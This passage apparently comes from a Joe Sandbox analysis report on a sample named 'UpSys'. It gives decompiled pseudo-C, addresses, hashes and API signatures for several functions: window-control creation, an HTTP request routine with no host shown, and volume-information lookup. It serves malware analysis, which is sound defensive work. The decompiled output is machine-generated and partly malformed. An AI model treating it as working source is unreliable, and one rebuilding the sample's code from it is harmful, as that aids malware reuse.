                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014005FA70 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 87windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSendWindow$CreateMoveObjectShowStock
                                                                                                                                                                                                        • String ID: Listbox
                                                                                                                                                                                                        • API String ID: 3566057971-2633736733
                                                                                                                                                                                                        • Opcode ID: 9f5f942eb1025c486bb40b62ba1064f6aeb38932b2dba1e37f20c240ec772522
                                                                                                                                                                                                        • Instruction ID: c23339727b4b7fafaa628cc35d73edc6299fb017a9f2e68e01d82e76feae11fe
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 9f5f942eb1025c486bb40b62ba1064f6aeb38932b2dba1e37f20c240ec772522
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 6C315E3620478086E761DF16F480B9AB7A5F3887E0F508615EF9A53BA8CB39C481CF40
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014005F1B0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 82windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 27%
                                                                                                                                                                                                        			E0000000114005F1B0(void* __ecx, long long __rax, long long __rbx, intOrPtr* __rdx, long long __rsi, long long* __r8, void* __r11, long long _a8, long long _a16, intOrPtr _a40, signed int _a48) {
				void* _v8;
				void* _v24;
				char _v40;
				signed long long _v48;
				intOrPtr _v56;
				signed int _v64;
				signed int _v72;
				signed int _v80;
				signed int _v88;
				intOrPtr _v96;
				signed long long _v104;
				intOrPtr _t38;
				long long _t62;
				intOrPtr _t63;
				intOrPtr _t65;
				intOrPtr _t67;
				signed long long _t86;
				intOrPtr* _t87;
				long long* _t89;
				void* _t100;

				_t100 = __r11;
				_t69 = __rbx;
				_t62 = __rax;
				_a8 = __rbx;
				_a16 = __rsi;
				_t87 = __rdx;
				_t89 = __r8;
				_t50 =  ==  ? 4 : _a48;
				if ((( ==  ? 4 : _a48) & 0x0000000c) != 0) goto 0x4005f1e4;
				_t38 = E00000001140056C20(( ==  ? 4 : _a48) | 6, ( ==  ? 4 : _a48) & 0x0000000c, __rbx);
				_v40 = 0;
				_v48 = _v48 & 0x00000000;
				_v56 = r9d;
				_v64 = _v64 & 0x00000000;
				_v72 = _v72 & 0x00000000;
				_v80 = _v80 & 0x00000000;
				_v88 = _v88 & 0x00000000;
				_v96 = _t38;
				_v104 = _v104 & 0x00000000;
				r8d = 0;
				_t85 = __rdx;
				E0000000114003D230(( ==  ? 4 : _a48) & 0x0000000c, _t69, __rdx, L"msctls_updown32");
				if (_t62 == 0) goto 0x4005f2fb;
				E000000011400184A4(_t62, _a40, _t85);
				asm("cvttsd2si edx, xmm0");
				if (E0000000114004E0B0(( ==  ? 4 : _a48) | 6, 0x400c6a00,  &_a48,  &_v24, _t100) == 0) goto 0x4005f2f2;
				_t63 =  *0x400c6aa0; // 0x0
				if ( *_t87 !=  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t63 + _a48 * 8))))))) goto 0x4005f2f2;
				_t65 =  *0x400c6ac8; // 0x3264820
				_t86 = _v24;
				if ( *((char*)( *((intOrPtr*)( *((intOrPtr*)(_t65 + _t86 * 8)))) + 0xf4)) != 3) goto 0x4005f2f2;
				 *_t89 = _t62;
				_t67 =  *0x400c6ac8; // 0x3264820
				r9d = 0;
				 *((long long*)(_t89 + 0x60)) =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t67 + _t86 * 8))))));
				SendMessageW(??, ??, ??, ??);
				r8d = 0;
				SendMessageW(??, ??, ??, ??);
				goto 0x4005f2fd;
				DestroyWindow(??);
				return 0;
			}























                                                                                                                                                                                                        0x14005f1b0
                                                                                                                                                                                                        0x14005f1b0
                                                                                                                                                                                                        0x14005f1b0
                                                                                                                                                                                                        0x14005f1b0
                                                                                                                                                                                                        0x14005f1b5
                                                                                                                                                                                                        0x14005f1c2
                                                                                                                                                                                                        0x14005f1d7
                                                                                                                                                                                                        0x14005f1da
                                                                                                                                                                                                        0x14005f1e0
                                                                                                                                                                                                        0x14005f1ee
                                                                                                                                                                                                        0x14005f1f3
                                                                                                                                                                                                        0x14005f1f8
                                                                                                                                                                                                        0x14005f1fe
                                                                                                                                                                                                        0x14005f202
                                                                                                                                                                                                        0x14005f207
                                                                                                                                                                                                        0x14005f20c
                                                                                                                                                                                                        0x14005f211
                                                                                                                                                                                                        0x14005f216
                                                                                                                                                                                                        0x14005f21a
                                                                                                                                                                                                        0x14005f22e
                                                                                                                                                                                                        0x14005f231
                                                                                                                                                                                                        0x14005f234
                                                                                                                                                                                                        0x14005f23f
                                                                                                                                                                                                        0x14005f24d
                                                                                                                                                                                                        0x14005f266
                                                                                                                                                                                                        0x14005f271
                                                                                                                                                                                                        0x14005f273
                                                                                                                                                                                                        0x14005f28f
                                                                                                                                                                                                        0x14005f291
                                                                                                                                                                                                        0x14005f298
                                                                                                                                                                                                        0x14005f2ab
                                                                                                                                                                                                        0x14005f2ad
                                                                                                                                                                                                        0x14005f2b0
                                                                                                                                                                                                        0x14005f2b7
                                                                                                                                                                                                        0x14005f2cc
                                                                                                                                                                                                        0x14005f2d0
                                                                                                                                                                                                        0x14005f2dd
                                                                                                                                                                                                        0x14005f2e8
                                                                                                                                                                                                        0x14005f2f0
                                                                                                                                                                                                        0x14005f2f5
                                                                                                                                                                                                        0x14005f311

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend$DestroyWindow
                                                                                                                                                                                                        • String ID: msctls_updown32
                                                                                                                                                                                                        • API String ID: 4014797782-2298589950
                                                                                                                                                                                                        • Opcode ID: d82067551f201ab118c63745c6dae1c1ab1ad1991e1b450f99f9735e690e133e
                                                                                                                                                                                                        • Instruction ID: b6440c1e62cf5a6cac7ade09ad35d677521c42623b4164bbdefb5175ae88727c
                                                                                                                                                                                                        • Opcode Fuzzy Hash: d82067551f201ab118c63745c6dae1c1ab1ad1991e1b450f99f9735e690e133e
                                                                                                                                                                                                        • Instruction Fuzzy Hash: EC418F76614B8482EB61CF26E4947EA7761F388BD4F508126EB8E47BA9CF3DC445CB00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140058540 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 79networkCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 34%
                                                                                                                                                                                                        			E00000001140058540(void* __ecx, void* __edi, long long __rax, long long __rbx, void* __rcx, void* __rdx, void* __r9, void* __r11, signed int _a8, long long _a16, intOrPtr _a32) {
				void* _v56;
				long long _v64;
				char _v72;
				signed long long _v80;
				signed int _v88;
				void* _t26;
				void* _t30;
				signed int _t47;
				void* _t49;
				long long _t67;
				void* _t76;

				_t76 = __r11;
				_a16 = __rbx;
				_v80 = _v80 & 0x00000000;
				_t49 = __rcx;
				bpl = r8b;
				r9d = 0;
				r8d = 0;
				_v88 =  *(__rcx + 0x90) & 0x80000000;
				__imp__InternetOpenUrlW();
				_v64 = __imp__InternetCloseHandle;
				_t67 = __rax;
				_v72 = __rax;
				if (__rax != 0) goto 0x400585a2;
				goto 0x40058646;
				_t26 = E0000000114004EC50(__rcx, __rcx, __rax, __rdx);
				_v88 = _v88 & 0x00000000;
				r9d = 0;
				r8d = 0;
				__imp__HttpSendRequestW();
				if (_t26 == 0) goto 0x4005863e;
				if (E0000000114003E8D0(_t26, __ecx, _t67) != 0xc8) goto 0x4005863e;
				_a8 = _a8 & 0x00000000;
				_t47 =  &_a8;
				_v88 = _t47;
				_a32 = 0x20;
				__imp__HttpQueryInfoW();
				E000000011400177D0(__ecx, E0000000114003E8D0(_t26, __ecx, _t67) - 0xc8, _t47, _t67, _t76);
				 *(_t49 + 0x18) = _t47;
				if (bpl == 0) goto 0x40058634;
				E0000000114004EC30(__edi, _t49);
				goto 0x40058654;
				r8d = 0;
				r9b = 1;
				goto 0x4005864f;
				r8d = 0xdeadbeef;
				r9d = 0;
				_t30 = E0000000114004EA00(0x2a, _t49, _t49);
				E0000000114003E820( &_v72);
				return _t30;
			}














                                                                                                                                                                                                        0x140058540
                                                                                                                                                                                                        0x140058540
                                                                                                                                                                                                        0x140058552
                                                                                                                                                                                                        0x14005855f
                                                                                                                                                                                                        0x14005856b
                                                                                                                                                                                                        0x14005856e
                                                                                                                                                                                                        0x140058571
                                                                                                                                                                                                        0x140058574
                                                                                                                                                                                                        0x140058578
                                                                                                                                                                                                        0x140058585
                                                                                                                                                                                                        0x14005858d
                                                                                                                                                                                                        0x140058590
                                                                                                                                                                                                        0x140058598
                                                                                                                                                                                                        0x14005859d
                                                                                                                                                                                                        0x1400585a8
                                                                                                                                                                                                        0x1400585ad
                                                                                                                                                                                                        0x1400585b2
                                                                                                                                                                                                        0x1400585b5
                                                                                                                                                                                                        0x1400585bd
                                                                                                                                                                                                        0x1400585c5
                                                                                                                                                                                                        0x1400585d7
                                                                                                                                                                                                        0x1400585d9
                                                                                                                                                                                                        0x1400585e1
                                                                                                                                                                                                        0x1400585fe
                                                                                                                                                                                                        0x140058603
                                                                                                                                                                                                        0x14005860e
                                                                                                                                                                                                        0x140058619
                                                                                                                                                                                                        0x140058621
                                                                                                                                                                                                        0x140058628
                                                                                                                                                                                                        0x14005862d
                                                                                                                                                                                                        0x140058632
                                                                                                                                                                                                        0x140058634
                                                                                                                                                                                                        0x140058637
                                                                                                                                                                                                        0x14005863c
                                                                                                                                                                                                        0x140058646
                                                                                                                                                                                                        0x14005864c
                                                                                                                                                                                                        0x14005864f
                                                                                                                                                                                                        0x14005865b
                                                                                                                                                                                                        0x140058671

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: Http$ErrorInfoInternetLastOpenQueryRequestSend
                                                                                                                                                                                                        • String ID:
                                                                                                                                                                                                        • API String ID: 3705125965-3916222277
                                                                                                                                                                                                        • Opcode ID: d4f51e4387a309d3ecfc6c4cd0807c290650f0641176c43a2b30c4575e76f68b
                                                                                                                                                                                                        • Instruction ID: 8de1ecbc752df0b481b54c537e712b1cdda59b8bd97f2831f39895111d0725e6
                                                                                                                                                                                                        • Opcode Fuzzy Hash: d4f51e4387a309d3ecfc6c4cd0807c290650f0641176c43a2b30c4575e76f68b
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 8831C032614A8142FB72CB22E855BEA6360F79CBC4F544521FF8D47BA5DF39C4068B04
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 0000000140028C18 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 76COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 78%
                                                                                                                                                                                                        			E00000001140028C18(intOrPtr __ebx, intOrPtr __edi, long long __rbx, signed int* __rcx, long long __rdx, long long __rdi, long long __rsi, void* __rbp, long long __r8, signed short* __r9, long long _a8, long long _a16, long long _a24, long long _a40, intOrPtr _a48) {
				signed int _v24;
				void* _t43;
				long long _t44;
				intOrPtr* _t46;
				long long _t53;
				long long* _t56;
				void* _t64;
				signed long long _t67;

				_a8 = __rbx;
				_a16 = __rsi;
				_a24 = __rdi;
				r12d = 0;
				_t53 = __r8;
				_t46 = __rdx;
				_t56 = __rcx;
				if (__rdx == 0) goto 0x40028c92;
				if (__r8 == 0) goto 0x40028c97;
				if (__rdx == 0) goto 0x40028c4e;
				 *((intOrPtr*)(__rdx)) = r12b;
				if (__rcx == 0) goto 0x40028c56;
				 *__rcx =  *__rcx & _t67;
				_t64 =  >  ? __r8 : _a40;
				if (_t64 - 0x7fffffff > 0) goto 0x40028c97;
				E0000000114002889C(__ebx, __edi, __rdx, __r9, _t64, _a48);
				if (__r9 != 0xffffffff) goto 0x40028cbb;
				if (__rdx == 0) goto 0x40028c89;
				 *((intOrPtr*)(__rdx)) = r12b;
				E0000000114001EAE4(__rdx, __r9);
				goto 0x40028cfd;
				if (_t64 == 0) goto 0x40028c46;
				E0000000114001EAE4(_t64, __r9);
				_v24 = _v24 & _t67;
				r9d = 0;
				r8d = 0;
				 *((intOrPtr*)(__r9)) = 0x16;
				E0000000114001EA14(__r9, __rdx, __rdx, __r9, __rcx, __rbp, _t64);
				goto 0x40028cfd;
				_t43 = __r9 + 1;
				if (_t46 == 0) goto 0x40028cf2;
				if (_t43 - _t53 <= 0) goto 0x40028ced;
				if (_a40 == 0xffffffff) goto 0x40028ce4;
				 *_t46 = r12b;
				if (_t53 - _t43 > 0) goto 0x40028ce4;
				E0000000114001EAE4(_t53 - _t43, _t43);
				goto 0x40028ca1;
				_t44 = _t53;
				r12d = 0x50;
				 *((char*)(_t44 + _t46 - 1)) = 0;
				if (_t56 == 0) goto 0x40028cfa;
				 *_t56 = _t44;
				return r12d;
			}











                                                                                                                                                                                                        0x140028c18
                                                                                                                                                                                                        0x140028c1d
                                                                                                                                                                                                        0x140028c22
                                                                                                                                                                                                        0x140028c2d
                                                                                                                                                                                                        0x140028c33
                                                                                                                                                                                                        0x140028c36
                                                                                                                                                                                                        0x140028c39
                                                                                                                                                                                                        0x140028c3f
                                                                                                                                                                                                        0x140028c44
                                                                                                                                                                                                        0x140028c49
                                                                                                                                                                                                        0x140028c4b
                                                                                                                                                                                                        0x140028c51
                                                                                                                                                                                                        0x140028c53
                                                                                                                                                                                                        0x140028c5e
                                                                                                                                                                                                        0x140028c69
                                                                                                                                                                                                        0x140028c76
                                                                                                                                                                                                        0x140028c7f
                                                                                                                                                                                                        0x140028c84
                                                                                                                                                                                                        0x140028c86
                                                                                                                                                                                                        0x140028c89
                                                                                                                                                                                                        0x140028c90
                                                                                                                                                                                                        0x140028c95
                                                                                                                                                                                                        0x140028c97
                                                                                                                                                                                                        0x140028ca1
                                                                                                                                                                                                        0x140028ca6
                                                                                                                                                                                                        0x140028ca9
                                                                                                                                                                                                        0x140028cb0
                                                                                                                                                                                                        0x140028cb2
                                                                                                                                                                                                        0x140028cb9
                                                                                                                                                                                                        0x140028cbb
                                                                                                                                                                                                        0x140028cc1
                                                                                                                                                                                                        0x140028cc6
                                                                                                                                                                                                        0x140028cce
                                                                                                                                                                                                        0x140028cd0
                                                                                                                                                                                                        0x140028cd6
                                                                                                                                                                                                        0x140028cd8
                                                                                                                                                                                                        0x140028ce2
                                                                                                                                                                                                        0x140028ce4
                                                                                                                                                                                                        0x140028ce7
                                                                                                                                                                                                        0x140028ced
                                                                                                                                                                                                        0x140028cf5
                                                                                                                                                                                                        0x140028cf7
                                                                                                                                                                                                        0x140028d12

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: _errno
                                                                                                                                                                                                        • String ID: P
                                                                                                                                                                                                        • API String ID: 2918714741-3110715001
                                                                                                                                                                                                        • Opcode ID: 05b96221bc3b7f2fd613a9754f923e1157f898981de407c015427aaeb5670f52
                                                                                                                                                                                                        • Instruction ID: 6677277635a61843a45a677f1b90691c206c719fc7cfbfb1b62a6350bffda56d
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 05b96221bc3b7f2fd613a9754f923e1157f898981de407c015427aaeb5670f52
                                                                                                                                                                                                        • Instruction Fuzzy Hash: F221D07A2077C041FB778B1795103E9A295BB5C7E0F28462ABFA407BE6CB398C40C711
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014006EA50 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 74COMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        C-Code - Quality: 54%
                                                                                                                                                                                                        			E0000000114006EA50(void* __edx, void* __esi, long long __rbx, intOrPtr* __rcx, void* __rdx, void* __r8, long long _a8, char _a16, char _a32) {
				char _v536;
				char _v1048;
				char _v1064;
				long long _v1072;
				long long _v1080;
				long long _v1088;
				char _v1096;
				intOrPtr _v1104;
				long long _v1112;
				long long _v1120;
				long long _v1128;
				void* __rsi;
				void* __rbp;
				int _t30;
				void* _t45;
				intOrPtr* _t51;
				short* _t52;
				void* _t81;
				intOrPtr* _t82;
				void* _t86;

				_t86 = __r8;
				_t56 = __rbx;
				_t45 = __edx;
				_a8 = __rbx;
				_t82 = __rcx;
				_t81 = __r8;
				_t30 = SetErrorMode(??);
				_t51 =  *((intOrPtr*)(__rdx + 8));
				E00000001140011960(_t30,  *_t51);
				_v1096 =  *_t51;
				_v1088 =  *((intOrPtr*)(_t51 + 8));
				_v1080 =  *((intOrPtr*)(_t51 + 0x10));
				_t52 =  *((intOrPtr*)(_t51 + 0x18));
				_v1072 = _t52;
				 *_t52 =  *_t52 + 1;
				E00000001140002170(__rbx,  &_v1096, _v1088 - 1);
				if ( *_t52 == 0x5c) goto 0x4006eacf;
				E00000001140011830(_t56,  &_v1096, "\\", __r8, __rcx);
				r8d = 0xff;
				_v1104 = r8d;
				_v1112 =  &_v536;
				_v1120 =  &_a32;
				_t55 =  &_v1064;
				_v1128 =  &_v1064;
				if (GetVolumeInformationW(??, ??, ??, ??, ??, ??, ??, ??) == 0) goto 0x4006eb42;
				r8d = _a16;
				E000000011400178DC( &_v1064,  &_v1048, L"%lu", _t86,  &_a16);
				E00000001140012D80(_t45,  &_v1064, _t56, _t81,  &_v1048, _t81, _t86);
				goto 0x4006eb68;
				E00000001140012D80(_t45,  &_v1064, _t56, _t81, 0x4009b6c0, _t81, _t86);
				r8d = 0;
				_t27 = _t86 + 1; // 0x1
				E00000001140002610(E0000000114000FCA0(_t27, _t55, _t56,  *((intOrPtr*)( *_t82 + 4)) + _t82, _t81), _t56,  &_v1096);
				SetErrorMode(??);
				return 0;
			}























                                                                                                                                                                                                        0x14006ea50
                                                                                                                                                                                                        0x14006ea50
                                                                                                                                                                                                        0x14006ea50
                                                                                                                                                                                                        0x14006ea50
                                                                                                                                                                                                        0x14006ea5f
                                                                                                                                                                                                        0x14006ea67
                                                                                                                                                                                                        0x14006ea6d
                                                                                                                                                                                                        0x14006ea75
                                                                                                                                                                                                        0x14006ea7c
                                                                                                                                                                                                        0x14006ea84
                                                                                                                                                                                                        0x14006ea8d
                                                                                                                                                                                                        0x14006ea96
                                                                                                                                                                                                        0x14006ea9b
                                                                                                                                                                                                        0x14006eaa4
                                                                                                                                                                                                        0x14006eaa9
                                                                                                                                                                                                        0x14006eab3
                                                                                                                                                                                                        0x14006eabc
                                                                                                                                                                                                        0x14006eaca
                                                                                                                                                                                                        0x14006eadc
                                                                                                                                                                                                        0x14006eae2
                                                                                                                                                                                                        0x14006eae7
                                                                                                                                                                                                        0x14006eaf4
                                                                                                                                                                                                        0x14006eaf9
                                                                                                                                                                                                        0x14006eb0b
                                                                                                                                                                                                        0x14006eb18
                                                                                                                                                                                                        0x14006eb1a
                                                                                                                                                                                                        0x14006eb2e
                                                                                                                                                                                                        0x14006eb3b
                                                                                                                                                                                                        0x14006eb40
                                                                                                                                                                                                        0x14006eb4c
                                                                                                                                                                                                        0x14006eb55
                                                                                                                                                                                                        0x14006eb5c
                                                                                                                                                                                                        0x14006eb6d
                                                                                                                                                                                                        0x14006eb74
                                                                                                                                                                                                        0x14006eb8e

                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: ErrorMode$InformationVolume
                                                                                                                                                                                                        • String ID: %lu
                                                                                                                                                                                                        • API String ID: 2507767853-685833217
                                                                                                                                                                                                        • Opcode ID: 161ae60179caed72b8f9a2d4c13e7b8e79214fa1466c40a35de85e845026e63d
                                                                                                                                                                                                        • Instruction ID: 1f198e9693ffb1d98df7febf5e1a403c3678130034a6d6961d62b17c9e930446
                                                                                                                                                                                                        • Opcode Fuzzy Hash: 161ae60179caed72b8f9a2d4c13e7b8e79214fa1466c40a35de85e845026e63d
                                                                                                                                                                                                        • Instruction Fuzzy Hash: 6E313576218A8582EB11DB16E4807DAB7A4F789BC4F508026FB8D47B6ADF39C545CB00
                                                                                                                                                                                                        Uniqueness

                                                                                                                                                                                                        Uniqueness Score: -1.00%

                                                                                                                                                                                                        Function 000000014005F320 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 73windowCOMMON
                                                                                                                                                                                                        Download Yara Rule
                                                                                                                                                                                                        APIs
                                                                                                                                                                                                        Strings
                                                                                                                                                                                                        Memory Dump Source
                                                                                                                                                                                                        • Source File: 00000023.00000002.492554690.0000000140001000.00000020.00000001.01000000.0000000D.sdmp, Offset: 0000000140000000, based on PE: true
                                                                                                                                                                                                        • Associated: 00000023.00000002.492546840.0000000140000000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492686673.0000000140097000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492828026.00000001400AD000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492841318.00000001400AF000.00000008.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.492936860.00000001400B0000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493189958.00000001400C5000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493269375.00000001400C8000.00000004.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        • Associated: 00000023.00000002.493343367.00000001400CA000.00000002.00000001.01000000.0000000D.sdmpDownload File
                                                                                                                                                                                                        Joe Sandbox IDA Plugin
                                                                                                                                                                                                        • Snapshot File: hcaresult_35_2_140000000_UpSys.jbxd
                                                                                                                                                                                                        Similarity
                                                                                                                                                                                                        • API ID: MessageSend$Window$CreateObjectShowStock
                                                                                                                                                                                                        • String ID: msctls_trackbar32
                                                                                                                                                                                                        • API String ID: 269107984-1010561917
                                                                                                                                                                                                        • Opcode ID: b5fcd76be391305a0c944e59355ddfdb91f5e407ea5ae359bf9f342fdccddf5f
                                                                                                                                                                                                        • Instruction ID: 0e56052e0b535252ef8f521321f418182495536a797ef7ee9704c74e43a86dad
                                                                                                                                                                                                        • Opcode Fuzzy Hash: b5fcd76be391305a0c944e59355ddfdb91f5e407ea5ae359bf9f342fdccddf5f
